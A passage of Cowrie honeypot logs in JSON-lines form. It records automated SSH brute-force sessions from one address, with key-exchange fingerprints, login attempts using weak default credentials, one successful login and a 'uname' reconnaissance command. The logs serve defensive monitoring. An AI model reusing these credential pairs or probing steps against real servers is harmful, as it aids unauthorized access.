01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:10.526274Z","src_ip":"45.156.87.253","session":"ad62db68202f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:10.767416Z","src_ip":"45.156.87.253","session":"ad62db68202f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:11.849696Z","src_ip":"45.156.87.253","session":"ad62db68202f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35006,"dst_ip":"10.17.0.5","dst_port":22,"session":"e95a366987ee","protocol":"ssh","message":"New connection: 45.156.87.253:35006 (10.17.0.5:22) [session: e95a366987ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:13.802044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:13.805550Z","src_ip":"45.156.87.253","session":"e95a366987ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:13.885203Z","src_ip":"45.156.87.253","session":"e95a366987ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:14.124976Z","src_ip":"45.156.87.253","session":"e95a366987ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:15.221721Z","src_ip":"45.156.87.253","session":"e95a366987ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a49f90afb2b4","protocol":"ssh","message":"New connection: 45.156.87.253:35012 (10.17.0.5:22) [session: a49f90afb2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:17.160022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:17.163802Z","src_ip":"45.156.87.253","session":"a49f90afb2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:17.244117Z","src_ip":"45.156.87.253","session":"a49f90afb2b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:17.654693Z","src_ip":"45.156.87.253","session":"a49f90afb2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:18.737685Z","src_ip":"45.156.87.253","session":"a49f90afb2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50850,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec413652a7ec","protocol":"ssh","message":"New connection: 45.156.87.253:50850 (10.17.0.5:22) [session: ec413652a7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:20.705890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:20.711900Z","src_ip":"45.156.87.253","session":"ec413652a7ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:20.794022Z","src_ip":"45.156.87.253","session":"ec413652a7ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:21.042138Z","src_ip":"45.156.87.253","session":"ec413652a7ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:22.126168Z","src_ip":"45.156.87.253","session":"ec413652a7ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":33234,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f9faf2a8b6","protocol":"telnet","message":"New connection: 50.62.181.92:33234 (10.17.0.5:23) [session: b4f9faf2a8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:23.451377Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0304a8aa56","protocol":"ssh","message":"New connection: 45.156.87.253:50858 (10.17.0.5:22) [session: 1a0304a8aa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:23.977057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:23.981359Z","src_ip":"45.156.87.253","session":"1a0304a8aa56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:24.061697Z","src_ip":"45.156.87.253","session":"1a0304a8aa56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:24.305723Z","src_ip":"45.156.87.253","session":"1a0304a8aa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:25.391504Z","src_ip":"45.156.87.253","session":"1a0304a8aa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e227c331bf6","protocol":"ssh","message":"New connection: 45.156.87.253:50874 (10.17.0.5:22) [session: 6e227c331bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:27.330335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:27.466702Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:27.469376Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:27.833520Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:28.033196Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:28.034816Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:28.117393Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:28.121094Z","src_ip":"45.156.87.253","session":"6e227c331bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55634,"dst_ip":"10.17.0.5","dst_port":22,"session":"139a7dc0c141","protocol":"ssh","message":"New connection: 45.156.87.253:55634 (10.17.0.5:22) [session: 139a7dc0c141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:30.799795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:30.803817Z","src_ip":"45.156.87.253","session":"139a7dc0c141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:30.886239Z","src_ip":"45.156.87.253","session":"139a7dc0c141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:31.133659Z","src_ip":"45.156.87.253","session":"139a7dc0c141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:32.326126Z","src_ip":"45.156.87.253","session":"139a7dc0c141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55638,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab665e453f0d","protocol":"ssh","message":"New connection: 45.156.87.253:55638 (10.17.0.5:22) [session: ab665e453f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:34.092801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:34.097504Z","src_ip":"45.156.87.253","session":"ab665e453f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:34.177126Z","src_ip":"45.156.87.253","session":"ab665e453f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:34.418923Z","src_ip":"45.156.87.253","session":"ab665e453f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:35.501565Z","src_ip":"45.156.87.253","session":"ab665e453f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55652,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe36d550745","protocol":"ssh","message":"New connection: 45.156.87.253:55652 (10.17.0.5:22) [session: cbe36d550745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:37.644796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:37.648141Z","src_ip":"45.156.87.253","session":"cbe36d550745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","s